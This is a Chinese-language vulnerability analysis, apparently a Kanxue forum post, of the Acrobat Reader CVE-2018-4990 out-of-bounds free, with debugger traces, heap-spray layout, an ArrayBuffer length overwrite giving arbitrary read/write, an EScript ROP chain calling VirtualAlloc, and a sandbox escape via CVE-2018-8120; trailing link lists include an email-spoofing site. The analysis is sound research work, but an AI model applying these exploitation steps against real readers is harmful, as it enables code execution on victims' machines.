CVE-2018-4990 Acrobat Reader堆内存越界访问释放漏洞分析

2019-06-28



样本MD5



bd23ad33accef14684d42c32769092a0



漏洞简介



CVE-2018-4990是Adobe在2018年5月修复的一个Adobe DC系列PDF阅读器的0day,原样本配合另一个windows本地提权漏洞CVE-2018-8120一起使用,后者用来进行沙箱逃逸,关于CVE-2018-8120漏洞的分析可以参考 @Leeqwind 同学写的《通过对比 5 月补丁分析 win32k 空指针解引用漏洞》一文。

 

官方公告说这是一个Double Free漏洞,但调试发现这是一个任意地址释放漏洞,原样本中,在32位环境下,攻击者可以通过这个漏洞实现对任意两个4字节地址的释放。原样本漏洞触发前用精准的堆喷射巧妙地布局内存,然后触发漏洞,释放可控的的两块大小为0xfff8的相邻堆块。


随后,Windows堆分配算法自动将两块空闲的堆块合并成一个大堆块,接着立即重新使用这个大堆块,并利用这个该堆块的读写能力改写一个ArrayBuffer对象的长度为0x66666666,从而实现任意地址读写。



影响版本



根据公告,这个漏洞并不影响Adobe Reader 11.x及之前的版本,根据ESET的给出的列表,影响的版本如下:

  • Acrobat DC (2018.011.20038 and earlier versions)

  • Acrobat Reader DC (2018.011.20038 and earlier versions )

  • Acrobat 2017 (011.30079 and earlier versions)

  • Acrobat Reader DC 2017 (2017.011.30079 and earlier versions)

  • Acrobat DC (Classic 2015) (2015.006.30417 and earlier versions)

  • Acrobat Reader DC (Classic 2015) (2015.006.30417 and earlier versions)



分析环境



本次调试使用的是Adobe Acrobat Reader DC 18.11.20035,JP2Klib.lib版本为1.2.2.39492。操作系统为Windows 7 sp1 x86,调试器为Windbg。



全页堆下的crash分析



拿到样本,我们要做的第一件事就是定位漏洞触发点,先开启全页堆,打开样本后发现crash,现场如下:


First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=d0d0d0b0 ebx=00000000 ecx=d0d0d000 edx=d0d0d0b0 esi=01930000 edi=01930000
eip=72676e88 esp=001ba2e0 ebp=001ba32c iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010286
verifier!AVrfpDphFindBusyMemoryNoCheck+0xb8:
72676e88 813abbbbcdab    cmp     dword ptr [edx],0ABCDBBBBh ds:0023:d0d0d0b0=????????

0:000> kv 20
ChildEBP RetAddr  Args to Child
001ba32c 72676f95 01931000 d0d0d0d0 01930000 verifier!AVrfpDphFindBusyMemoryNoCheck+0xb8 (FPO: [SEH])
001ba350 72677240 01931000 d0d0d0d0 001ba3c0 verifier!AVrfpDphFindBusyMemory+0x15 (FPO: [2,5,0])
001ba36c 72679080 01931000 d0d0d0d0 0090d911 verifier!AVrfpDphFindBusyMemoryAndRemoveFromBusyList+0x20 (FPO: [2,3,0])
001ba388 779169cc 01930000 01000002 d0d0d0d0 verifier!AVrfDebugPageHeapFree+0x90 (FPO: [3,3,0])
001ba3d0 778d9e07 01930000 01000002 d0d0d0d0 ntdll!RtlDebugFreeHeap+0x2f (FPO: [SEH])
001ba4c4 778a63a6 00000000 d0d0d0d0 51b6cf98 ntdll!RtlpFreeHeap+0x5d (FPO: [SEH])
001ba4e4 7708c614 01930000 00000000 d0d0d0d0 ntdll!RtlFreeHeap+0x142 (FPO: [3,1,4])
001ba4f8 6f0cecfa 01930000 00000000 d0d0d0d0 kernel32!HeapFree+0x14 (FPO: [3,0,0])
001ba50c 67eb0574 d0d0d0d0 0ee62d74 52148fac MSVCR120!free+0x1a (FPO: [Non-Fpo]) (CONV: cdecl) [f:\dd\vctools\crt\crtw32\heap\free.c @ 51]
WARNING: Stack unwind information not available. Following frames may be wrong.
001ba62c 67ec6482 5383cfb8 51b6afd8 000000fd JP2KLib!JP2KCopyRect+0xbae6
001ba684 64e56cfc 5387ae88 53874fd0 51b6afd8 JP2KLib!JP2KImageInitDecoderEx+0x24
001ba70c 64e58696 53834fa8 52148fac 53834fa8 AcroRd32_64860000!AX_PDXlateToHostEx+0x261843
001ba76c 64e4d785 52148fac 001ba78c 64e56640 AcroRd32_64860000!AX_PDXlateToHostEx+0x2631dd
001ba778 64e56640 52148fac 53056f70 53050fc8 AcroRd32_64860000!AX_PDXlateToHostEx+0x2582cc
001ba78c 64a4030d 52148fac 53050fd0 53050fc8 AcroRd32_64860000!AX_PDXlateToHostEx+0x261187
001ba7c8 64a3f92b c0010000 00000016 53050fc8 AcroRd32_64860000!PDMediaQueriesGetCosObj+0x7867d
001ba898 64a3ebc6 001bac40 00000000 1065768e AcroRd32_64860000!PDMediaQueriesGetCosObj+0x77c9b
001babe8 64a3eb88 001bac40 4ee49a50 1065717a AcroRd32_64860000!PDMediaQueriesGetCosObj+0x76f36
001bac1c 64a3ea71 53050e28 4ee49a50 001bacd4 AcroRd32_64860000!PDMediaQueriesGetCosObj+0x76ef8
001bac88 64a3d949 c0010000 00000016 4ee49a50 AcroRd32_64860000!PDMediaQueriesGetCosObj+0x76de1
001bb0f4 64a3ade9 001bb3e0 51ae2598 c0010000 AcroRd32_64860000!PDMediaQueriesGetCosObj+0x75cb9
001bc8cc 64a3aa51 51ae2598 c0010000 00000016 AcroRd32_64860000!PDMediaQueriesGetCosObj+0x73159
001bc9a4 64a24ab0 10651702 00000000 4ee49a50 AcroRd32_64860000!PDMediaQueriesGetCosObj+0x72dc1
001bca64 64a844b4 00000000 00000000 00000000 AcroRd32_64860000!PDMediaQueriesGetCosObj+0x5ce20
001bcac0 64a3d2d3 00000000 00000000 00000000 AcroRd32_64860000!CTJPEGDecoderReadNextTile+0x2dea4
001be28c 64a3aa51 51ae250c c0010000 00000015 AcroRd32_64860000!PDMediaQueriesGetCosObj+0x75643
001be364 64a24ab0 10653942 5213ef78 00000000 AcroRd32_64860000!PDMediaQueriesGetCosObj+0x72dc1
001be424 64a22e70 00000001 00000000 00000000 AcroRd32_64860000!PDMediaQueriesGetCosObj+0x5ce20
001be46c 64a13d93 5213ef78 00000001 00000000 AcroRd32_64860000!PDMediaQueriesGetCosObj+0x5b1e0
001be5cc 64a134fa 5360adbc 00000001 0000002d AcroRd32_64860000!PDMediaQueriesGetCosObj+0x4c103
001be634 64ac4a44 10653bd2 00000000 001be6d4 AcroRd32_64860000!PDMediaQueriesGetCosObj+0x4b86a
001be6b4 64ac4751 4e180ef8 c0010000 0000002d AcroRd32_64860000!CTJPEGDecoderReadNextTile+0x6e434

看过《Windows高级调试》第6章页堆部分的同学应该已经明白了,free地址为0x0d0d0d0d的原因是释放了全页堆的后置填充区域。


 

到这里,有经验的同学应该已经可以猜到是因为堆内存的越界访问导致释放了堆的后置填充数据,从上面的栈回溯我们可以看到这是JP2Klib动态库的一处调用导致的,如下:


001ba62c 67ec6482 5383cfb8 51b6afd8 000000fd JP2KLib!JP2KCopyRect+0xbae6

我们在IDA里面看一下相应偏移处的代码逻辑:


count1 = 0;
count2 = 0;
if ( *(v116 + 4) > 0 )
{
   do
   {
       if ( *(*(*(pObj + 0x48) + 0xC) + 4 * count1) )
       {
         sub_66FEA(*(*(*(pObj + 0x48) + 0xC) + 4 * count1)); // 从这里进入后面的free()
         count1 = count2;
         *(*(*(pObj + 0x48) + 0xC) + 4 * count2) = 0;
       }
       count2 = ++count1;
   }while ( count1 < *(*(pObj + 0x48) + 4) );
}

将上述代码整理一下后可以更清楚地看到逻辑:


count = 0;

if ( *(v116 + 4) > 0 )
{
   do
   {
       if ( *(mem_base + 4 * count) )
       {
           free(mem_base);
           *(mem_base + 4 * count) = 0;
       }
       count++;
   }while ( count < max_count );
}



漏洞的根本原因



我们来监控一下max_count和while循环里的count变化过程


bp JP2KLib+50588 "dd eax+4 l1; g;"  // 获取max_count值
bp JP2KLib+50567 "r eax; r ecx; g;" // 获取mem基地址和每次循环的count
bp JP2KLib+5056e "r eax; g;"        // 获取每次free()的地址

 

利用 PdfStreamDumper.exe 对pdf的修改能力,我们对内嵌的javascript代码稍作修改,放开原代码的一处注释,目的是在漏洞触发前弹个对话框,便于我们下断点:

 


可以看到mem_base为 073fa1a0, max_count = 0xff,当count变化到0xfd和0xfe时两个在原js中出现得的堆地址 0x0d0e00480x0d0f0048 被释放。

 

0:000> bp JP2KLib+50588 "dd eax+4 l1; g;"
0:000> bp JP2KLib+50567 "r eax; r ecx; g;"
0:000> bp JP2KLib+5056e "r eax; g;"

0:000> g
eax=073fa1a0
ecx=00000000
17bf44d4  000000ff

eax=073fa1a0
ecx=00000001
17bf44d4  000000ff

...略去无关输出...

eax=073fa1a0
ecx=000000fd
eax=0d0e0048
17bf44d4  000000ff

eax=073fa1a0
ecx=000000fe
eax=0d0f0048
17bf44d4  000000ff

此时我们对mem_base的分配大小很感兴趣,重启windbg,观察一下mem_base的大小,可以看到mem_base的大小为0x3f4

0:000> !heap -p -a 0aaf5060
   address 0aaf5060 found in
   _HEAP @ 880000
     HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
       0aaf5048 0089 0000  [00]   0aaf5060    003f4 - (busy)
       Trace: 1dd977d4
       7707dd6c ntdll!RtlAllocateHeap+0x00000274
       694ded63 MSVCR120!malloc+0x00000049
       674b6f34 JP2KLib!JP2KTileGeometryRegionIsTile+0x00000102
       674912cb JP2KLib!JP2KCodeStm::write+0x00017dcb
       67490978 JP2KLib!JP2KCodeStm::write+0x00017478
       6749f746 JP2KLib!JP2KCopyRect+0x0000acb8
       674b6482 JP2KLib!JP2KImageInitDecoderEx+0x00000024

到这里漏洞的成因已经很清楚了,漏洞根源在于 max_count = 0xff,而ff*4 = 3fc,所以while循环内部最大允许访问到 mem_base+3fc 地址处。


但是我们看到mem_base对应处的内存大小只有0x3f4,两者的差值为8个字节3fc - 3f4 = 8,于是可以借助上述while循环越界访问两个4字节地址并释放,来实现任意释放两个地址。

 

于是攻击者可以通过内存布局(例如堆喷射)提供的任意两个4字节地址,并实现任意释放,如下是样本中越界释放的两个堆地址,他们提高堆喷射被镜像布局到相邻的内存。

0:000> dd 0aaf5060+3f4 l2
0aaf5454  0d0e0048 0d0f0048

所以这本质上不是一个double free漏洞,而是任意地址释放漏洞(原样本在32位下可以释放两个任意地址)。



堆喷射占坑+OOB释放



攻击者在已经知道漏洞内存区域大小为0x3f4的前提下,在漏洞触发前利用精心控制大小(0x400)的堆喷射构造大量对象,然后释放其中的一半,借助堆分配算法,JP2Klib在申请漏洞对象时,会从释放的堆块里面直接复用一个。

 

 

上述复用造成了很有意思的现象,我们在windbg下来看一下


0:000> bp JP2KLib+66f31 ".if(esi=3f4){}.else{g;}"

0:000> g
eax=17df5178 ebx=000000fd ecx=000003f4 edx=00000000 esi=000003f4 edi=17d2ad38
eip=69496f31 esp=0029a22c ebp=0029a258 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
JP2KLib!JP2KTileGeometryRegionIsTile+0xff:
69496f31 ff5010          call    dword ptr [eax+10h]  ds:0023:17df5188=63a60721

0:000> p
eax=075a9198 ebx=000000fd ecx=77052fe7 edx=002f6c88 esi=000003f4 edi=17d2ad38
eip=69496f34 esp=0029a22c ebp=0029a258 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
JP2KLib!JP2KTileGeometryRegionIsTile+0x102:
69496f34 8bf8            mov     edi,eax
0:000> !heap -p -a 75a9198
   address 075a9198 found in
   _HEAP @ 2f0000
     HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
       075a9190 0081 0000  [00]   075a9198    003f4 - (busy)

// 0x400大小的堆块busy和free交替出现
0:000> !heap -flt s 400
   _HEAP @ 2f0000
     HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
       002fe5d8 0081 0000  [00]   002fe5e0    00400 - (busy)
       ...
       075a8170 0081 0081  [00]   075a8178    00400 - (free)
       075a8578 0081 0081  [00]   075a8580    00400 - (busy)
       075a8980 0081 0081  [00]   075a8988    00400 - (free)
       075a8d88 0081 0081  [00]   075a8d90    00400 - (busy)
       // 075a9198 本来是此处的块 0x400大小的空闲内存
       075a9598 0081 0081  [00]   075a95a0    00400 - (busy)
       075a99a0 0081 0081  [00]   075a99a8    00400 - (busy)
       075a9da8 0081 0081  [00]   075a9db0    00400 - (busy)
       075aa5b8 0081 0081  [00]   075aa5c0    00400 - (busy)
       075aadc8 0081 0081  [00]   075aadd0    00400 - (busy)
       075ab5d8 0081 0081  [00]   075ab5e0    00400 - (busy)
       075ab9e0 0081 0081  [00]   075ab9e8    00400 - (free)
       075abde8 0081 0081  [00]   075abdf0    00400 - (busy)

// 越界访问后待释放的两个地址
0:000> dd 75a9198+3f4 l2
075a958c  0d0e0048 0d0f0048

// 此时待释放的堆块都在使用中
075a958c  0d0e0048 0d0f0048
0:000> !heap -p -a 0d0e0048
   address 0d0e0048 found in
   _HEAP @ 2f0000
     HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
       0d0e0040 2000 0000  [00]   0d0e0048    0fff8 - (busy)


0:000> !heap -p -a 0d0f0048
   address 0d0f0048 found in
   _HEAP @ 2f0000
     HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
       0d0f0040 2000 0000  [00]   0d0f0048    0fff8 - (busy)

// 对越界释放处下断点
0:000> bp JP2KLib+5056e

0:000> g
...
eax=0d0e0048 ebx=00000000 ecx=000000fd edx=00000001 esi=17d2ad38 edi=17e43e60
eip=6948056e esp=0029a348 ebp=0029a45c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
JP2KLib!JP2KCopyRect+0xbae0:
6948056e 50              push    eax
0:000> p
eax=0d0e0048 ebx=00000000 ecx=000000fd edx=00000001 esi=17d2ad38 edi=17e43e60
eip=6948056f esp=0029a344 ebp=0029a45c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
JP2KLib!JP2KCopyRect+0xbae1:
6948056f e8766a0100      call    JP2KLib!JP2KTileGeometryRegionIsTile+0x1b8 (69496fea)
0:000> p
eax=00000001 ebx=00000000 ecx=77056570 edx=002f0000 esi=17d2ad38 edi=17e43e60
eip=69480574 esp=0029a344 ebp=0029a45c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
JP2KLib!JP2KCopyRect+0xbae6:
69480574 8b4648          mov     eax,dword ptr [esi+48h] ds:0023:17d2ad80=17df4ca0

// 第一次越界free后,0d0e0048堆块被释放
0:000> !heap -p -a 0d0e0048
   address 0d0e0048 found in
   _HEAP @ 2f0000
     HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
       0d0e0040 2000 0000  [00]   0d0e0048    0fff8 - (free)

0:000> !heap -p -a 0d0f0048
   address 0d0f0048 found in
   _HEAP @ 2f0000
     HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
       0d0f0040 2000 0000  [00]   0d0f0048    0fff8 - (busy)

0:000> g
eax=0d0f0048
eax=0d0f0048 ebx=00000000 ecx=000000fe edx=002f0000 esi=17d2ad38 edi=17e43e60
eip=6948056e esp=0029a348 ebp=0029a45c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
JP2KLib!JP2KCopyRect+0xbae0:
6948056e 50              push    eax
0:000> p
eax=0d0f0048 ebx=00000000 ecx=000000fe edx=002f0000 esi=17d2ad38 edi=17e43e60
eip=6948056f esp=0029a344 ebp=0029a45c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
JP2KLib!JP2KCopyRect+0xbae1:
6948056f e8766a0100      call    JP2KLib!JP2KTileGeometryRegionIsTile+0x1b8 (69496fea)
0:000> p
eax=00000001 ebx=00000000 ecx=77056570 edx=002f0000 esi=17d2ad38 edi=17e43e60
eip=69480574 esp=0029a344 ebp=0029a45c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
JP2KLib!JP2KCopyRect+0xbae6:
69480574 8b4648          mov     eax,dword ptr [esi+48h] ds:0023:17d2ad80=17df4ca0

// 第二次越界free后,0d0f0048堆块被释放,释放过程中合并成一个大堆块
0:000> !heap -p -a 0d0f0048
   address 0d0f0048 found in
   _HEAP @ 2f0000
     HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
       0d0e0040 4000 0000  [00]   0d0e0048    1fff8 - (free)

随后攻击者通过以下代码立即将上述合并的堆块重新使用。

 

 

由于漏洞触发前的如下堆喷射语句,0d0e0048和0d0f0048在释放前分别代表一个长度为0x10000 - 24的ArrayBuffer对象。在UAF之后,0d0e0048+0d0e0048 的内存变成了一个长度为 0x20000-24ArrayBuffer 对象。

 

 

接着攻击者利用长度为0x20000-24的ArrayBuffer的读写能力去改写释放前0d0f0048对应ArrayBuffer对象的长度,将其改写为0x66666666。然后利用之前在数据sprayarr中保留的找到长度为0x66666666的“ArrayBuffer”对象(这时候已经是伪造的了),紧接着将其赋值给一个DataView对象借助DataView来实现任意地址读写。

 

 

重启调试器,来看一下上述过程:

// 观察一下前一个堆块的大小
0:004> !heap -p -a 0d0d0048
   address 0d0d0048 found in
   _HEAP @ 1110000
     HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
       0d0d0040 2000 0000  [00]   0d0d0048    0fff8 - (busy)

// 观察合并堆块的大小
0:004> !heap -p -a 0d0f0048
   address 0d0f0048 found in
   _HEAP @ 1110000
     HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
       0d0e0040 4000 0000  [00]   0d0e0048    1fff8 - (busy)

// 可以看到ArrayBuffer的+0x4偏移处代表其长度
0:004> dd 0d0e0048
0d0e0048  00000000 0001ffe8 00000000 00000000
0d0e0058  00000000 00000000 00000000 00000000
0d0e0068  00000000 00000000 00000000 00000000
0d0e0078  00000000 00000000 00000000 00000000
0d0e0088  00000000 00000000 00000000 00000000
0d0e0098  00000000 00000000 00000000 00000000
0d0e00a8  00000000 00000000 00000000 00000000
0d0e00b8  00000000 00000000 00000000 00000000

// 长度域被修改之后 0d0f0048 代表的“ArrayBuffer对象”的长度域被修改为了0x66666666
0:004> dd 0d0f0048
0d0f0048  00000000 66666666 00000000 00000000
0d0f0058  00000000 00000000 00000000 00000000
0d0f0068  00000000 00000000 00000000 00000000
0d0f0078  00000000 00000000 00000000 00000000
0d0f0088  00000000 00000000 00000000 00000000
0d0f0098  00000000 00000000 00000000 00000000
0d0f00a8  00000000 00000000 00000000 00000000
0d0f00b8  00000000 00000000 00000000 00000000

随后攻击者用其初始化一个DataView对象,并借助DataView对象实现了任意地址读写函数:


 

随后利用任意读写能力泄漏Escript.api基址,构造ROP:

// myarraybase = ‭0x0d130058‬

// var obj1 = myread(myarraybase - 8);
// obj1 = 06bea450

// var obj2 = myread(obj1 + 4);
0:012> dd 06b25c40 l2
06b25c40  67754a90 06b313a0

// var obj3 = myread(obj2);
0:012> dd 67754a90 l3
67754a90  676ab824 9c000521 6751966b

// var dll_base = (myread(obj3 + 8) - 0x00010000) & 0xffff0000;
0:012> ? (6751966b-10000) & ffff0000
Evaluate expression: 1733296128 = 67500000

0:012> lmvm escript
start    end        module name
67500000 677a1000   EScript    (deferred)
   Image path: C:\Program Files\Adobe\Acrobat Reader DC\Reader\plug_ins\EScript.api
   Image name: EScript.api
   Timestamp:        Sat Feb 03 02:11:27 2018 (5A74A9CF)
   CheckSum:         00000000
   ImageSize:        002A1000
   File version:     18.11.20035.2003
   Product version:  18.11.20035.2003
   File flags:       0 (Mask 3F)
   File OS:          4 Unknown Win32
   File type:        2.0 Dll
   File date:        00000000.00000000
   Translations:     0409.04b0
   CompanyName:      Adobe Systems Incorporated
   ProductName:      Adobe Acrobat Escript
   InternalName:     Escript
   OriginalFilename: Escript.api
   ProductVersion:   18.11.20035.264147
   FileVersion:      18.11.20035.264147
   FileDescription:  Adobe Acrobat Escript Plug-in
   LegalCopyright:   Copyright 1984-2017 Adobe Systems Incorporated and its licensors. All rights reserved.
   LegalTrademarks:  Adobe, Acrobat and the Acrobat logo are trademarks of Adobe Systems Incorporated which may be registered in certain jurisdictions.


随后构造ROP,填充PE数据:


 

构造完ROP后对escript的off_259BA4全局变量指向的指定偏移的数据进行修改:

/*
   // 0xC7D06
   mywrite(objescript, 0x6b707d06 - 0x6b640000 + dll_base);
*/

0:012> u escript+4389f
*** WARNING: Unable to verify checksum for C:\Program Files\Adobe\Acrobat Reader DC\Reader\plug_ins\EScript.api
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Adobe\Acrobat Reader DC\Reader\plug_ins\EScript.api -
EScript!mozilla::HashBytes+0x33229:
6754389f 94              xchg    eax,esp <-- stack pivot
675438a0 c3              ret
...

/*
   // 0x4389F
   mywrite(objescript + 0x598, 0x6b68389f - 0x6b640000 + dll_base); // 这一步我暂时没有完全理解
*/

0:012> u escript+c7d06
EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x61021:
675c7d06 5c              pop     esp
675c7d07 59              pop     ecx
675c7d08 59              pop     ecx
675c7d09 5d              pop     ebp
675c7d0a c20400          ret     4

通过stack pivot切换执行流到ROP
0:000> dps esp-10
0d13005c  00000000
0d130060  00000000
0d130064  6973845b EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0xe1776
0d130068  6973845b EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0xe1776
0d13006c  6973845a EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0xe1775
0d130070  69787084 EScript!double_conversion::DoubleToStringConverter::ToPrecision+0x1d130
0d130074  69601767 EScript!mozilla::HashBytes+0x10f1
0d130078  695f230d EScript+0x230d
0d13007c  0d130058
0d130080  6960ecaf EScript!mozilla::HashBytes+0xe639
0d130084  69613a4b EScript!mozilla::HashBytes+0x133d5
0d130088  0d130058 // lpAddress
0d13008c  00010201 // dwSize
0d130090  00001000 // flNewProtect: PAGE_EXECUTE_READWRITE
0d130094  00000040 // lpflOldProtect: PAGE_READWRITE
0d130098  90909090
0d13009c  41414141
...

0:000> u 6973845b
EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0xe1776:
6973845b c3              ret

0:000> u 6973845a
EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0xe1775:
6973845a 59              pop     ecx
6973845b c3              ret

69787084  ; import addr of VirtualAlloc

0:000> u 69601767
EScript!mozilla::HashBytes+0x10f1:
69601767 8b01            mov     eax,dword ptr [ecx]
69601769 c3              ret

0:000> u 695f230d
EScript+0x230d:
695f230d 5d              pop     ebp
695f230e c3              ret

0:000> u 6960ecaf
EScript!mozilla::HashBytes+0xe639:
6960ecaf ffe0            jmp     eax

0:000> u 69613a4b
EScript!mozilla::HashBytes+0x133d5:
69613a4b ffe4            jmp     esp



沙箱逃逸



ROP执行完毕后,样本进入shellcode,shellcode执行完后,在内存中直接执行PE,PE利用了CVE-2018-8120进行本地提权,提权成功后可以看到沙箱进程的权限已经由low变成了system。


 

随后样本会弹出对话框,并向启动项写入一个one.vbs,one.vbs的作用是从本地http服务器下载一个calc.exe,从这里可以看出这个组合漏洞样本还在测试阶段。



后记



由于这个Adobe将这个漏洞归类为Double Free,所以一开始我一直在往Double Free的方面想,导致浪费了大量时间。


在这个过程中我看到了一篇非常精彩的Double Free文章Too Much Freedom is Dangerous: Understanding IE 11 CVE-2015-2419 Exploitation,想入门Double Free漏洞分析的同学可以好好看一下这篇文章。


同时,在本地复现时我发现win7下在打了2018年3月的内核补丁后Adobe在8120的提权过程中会导致虚拟机直接重启,不打该补丁则一切正常,目前还未完全清楚该问题的原因。

 

此外,实际执行时发现bkm.execute();这一步的前一步就可以导向ROP,我暂时没有调试清楚最后两步的含义,只知道是在切换执行流,也希望理解的同学可以告诉我一下。

// 0x4389F, 实际执行这一步后就会触发ROP
mywrite(objescript + 0x598, 0x6b68389f - 0x6b640000 + dll_base);

// 所以这一步的作用是?
bkm.execute();


这个漏洞我从上周开始一直在花时间调试,直到昨天下午国外 @steventseeley 发了一篇对这个漏洞的分析,当时感觉他并没有分析清楚漏洞原因,昨晚看了 @klotxl404@binjo 两位大神在twitter上的互动后恍然大悟。今天下午看到 @steventseeley 的文章也更新了,他那篇还画了图,表述得非常清晰,可以先看他那篇。

 

这个漏洞中max_count值是否可控,以及其是否可以通过恶意的JPEG2000图像数据进行操纵,目前还暂不清楚,等待后面补充,或者等待有能力的同学进行补充。

 

第一次调试 Adobe Reader 漏洞,不足之处请多见谅。

 

原文写于2018/5/23,2018/5/24 稍作修改。



参考链接



  • 《A tale of two zero-days》 https://www.welivesecurity.com/2018/05/15/tale-two-zero-days/

  • 《通过对比 5 月补丁分析 win32k 空指针解引用漏洞》 https://xiaodaozhi.com/exploit/149.html

  • 《Adobe, Me and an Arbitrary Free :: Analyzing the CVE-2018-4990 Zero-Day Exploit》https://srcincite.io/blog/2018/05/21/adobe-me-and-a-double-free.html

  • 《Too Much Freedom is Dangerous: Understanding IE 11 CVE-2015-2419 Exploitation》https://blog.checkpoint.com/2016/02/10/too-much-freedom-is-dangerous-understanding-ie-11-cve-2015-2419-exploitation/

  • 《Javascript DataView》http://pwdme.cc/2018/01/21/javascript-dataview/






本文由看雪论坛 银雁冰 原创

转载请注明来自看雪社区


往期热门阅读:



扫描二维码关注我们,更多干货等你来拿!



相关文章

CVE-2018-1111复现环境搭建与dhcp命令注入

2019-09-10
前言最近留意到CVE-2018-1111这个洞,关于dhcp命令注入,便想复现一波.DHCP是一个局域网的网络协议,主要用于内部网络动...

CVE-2018-1111复现环境搭建与dhcp命令注入

2019-09-02
前言最近留意到CVE-2018-1111这个洞,关于dhcp命令注入,便想复现一波.DHCP是一个局域网的网络协议,主要用于内部网络动...

CVE-2018-4990 Acrobat Reader堆内存越界访问释放漏洞分析

2019-06-28
样本MD5bd23ad33accef14684d42c32769092a0漏洞简介CVE-2018-4990是Adobe在2018年5月修复的一个Adobe DC系列PDF阅读...

CVE-2018-11776(Struts 2/S2-057)、GhostScript及UEditor漏洞应急响应公告

2019-06-19
CVE编号CVE-2018-11776漏洞影响此漏洞导致攻击者可以通过构造恶意请求执行系统命令获取服务器权限,威胁服务器安全.受影响...

libssh CVE-2018-10933 身份验证绕过漏洞分析报告

2019-06-09
0x00 事件背景2018-10-16 libssh发布更新公告旨在解决CVE-2018-10933的问题libssh版本0.6及更高版本在服务端代码中具有身份验证...

CVE-2018-0798漏洞研究

2019-06-02
QAX A-TEAM漏洞介绍:下图为CVE-2018-0798的漏洞公告,描述比较简略:Office 2007、Office 2010、Office 2013、Office 2016中...

CVE-2018-4878 Flash 0day漏洞攻击样本解析

2019-05-25
0day CVE-2018-487漏洞利用代码被嵌入到Office文档中,样本使用Excel文档为载体,内嵌了一个动画用于加载其中恶意的Flash组件...

CVE-2018-1111复现

2019-05-24
近日,红帽官方发布了安全更新,修复了编号为CVE-2018-1111的远程代码执行漏洞,攻击者可以通过伪造DHCP服务器发送响应包,...

CVE-2018-14847 简单利用

2019-05-22
Baines针对CVE-2018-14847发布了一段新的概念验证(PoC)代码,实现了在受漏洞影响的MikroTik路由器上的远程代码执行.影响...

Office 0day(CVE-2018-0802与2017-11882)漏洞分析与利用

2019-04-13
CVE-2018-0802危险等级: 高危漏洞类型: 任意代码执行影响版本: Microsoft Office 2007 Service Pack3 Microsoft Office 2010 ...

随机推荐

资料收集整理(二十)

2020-09-07
PHP 发送邮件的代码·http://tool.chacuo.net/mailanonymous 在线邮件伪造·http://ns4gov.000webhostapp.com 在线邮件伪造

HTML5移动端公开课青年H5创意传播大赛培训开讲啦~

2019-10-11
七年JS前端培训,以专注立身;我们专注的特色培训有:移动端培训、HTML5培训、前端开发培训、JavaScript培训、Node培训.

这是一份值得你去查看的Android安全手册

2019-09-05
BroadcastReceiver,同时设置 exported="false".(关于这个属性后面会说)2:必须动态注册 BroadcastReceiver时,使用...

Wi-Fi 2.4g/5g和Wi-Fi 4/5/6之前的区别,有必要上wifi6吗?

2019-03-14
基於IEEE 802.11g,2.4GHz工作頻段,最高速率半雙工54 Mbit/s,認證計畫為“Wi-Fi CERTIFIED g”. [23]第四代,以IEEE 802.11n為...

大行道动漫丨周五漫画更新

2018-08-07
周五更新《重生之都市修仙》《神魂武帝》《神豪之天降系统》《重生之神帝归来》《蛊仙奶爸》《九阳帝尊》《妖妖灵杂货铺》《全...

致三冠王拜仁——Forever Number One

2017-07-10

展览预告 | 环境雕塑设计及室内外电脑应用设计课程作业展 | 18&19级室内设计专业

2016-10-13
课的实践成果,旨在训练学生作为设计师基本的计算机应用技能和团队协作的能力,亦通过这种方式,让学生留住青春的记忆.一共收...

人工神经网络算法及其简易R实现

2016-09-15
等等,这篇文章我们只介绍最基本的人工神经网络算法原理及其简易的R语言实现方式.在前几期的推文中,我们介绍的朴素贝叶斯和...

●Java 8(jre-8u271) 32/64位 WINXP/7/10系统 软件安装包下载 安装教程步骤 远程安装服务

2015-12-20
下载说明[名称]:Java 8[语言]:-[安装环境]:WINXP/7/10系统[系统位数]:32+64位[64位下载链接]:https://pan.baidu.com/s/1H7...

【非标数模】夜光标自动切割设备3D数模Solidworks文件 附STEP格式

2015-07-16
内容来源:互联网注意事项:本文仅是图片集,仅供欣赏,如需共享,请遵守本公众号首页“更多图纸”中的“免责声明”.机械资源...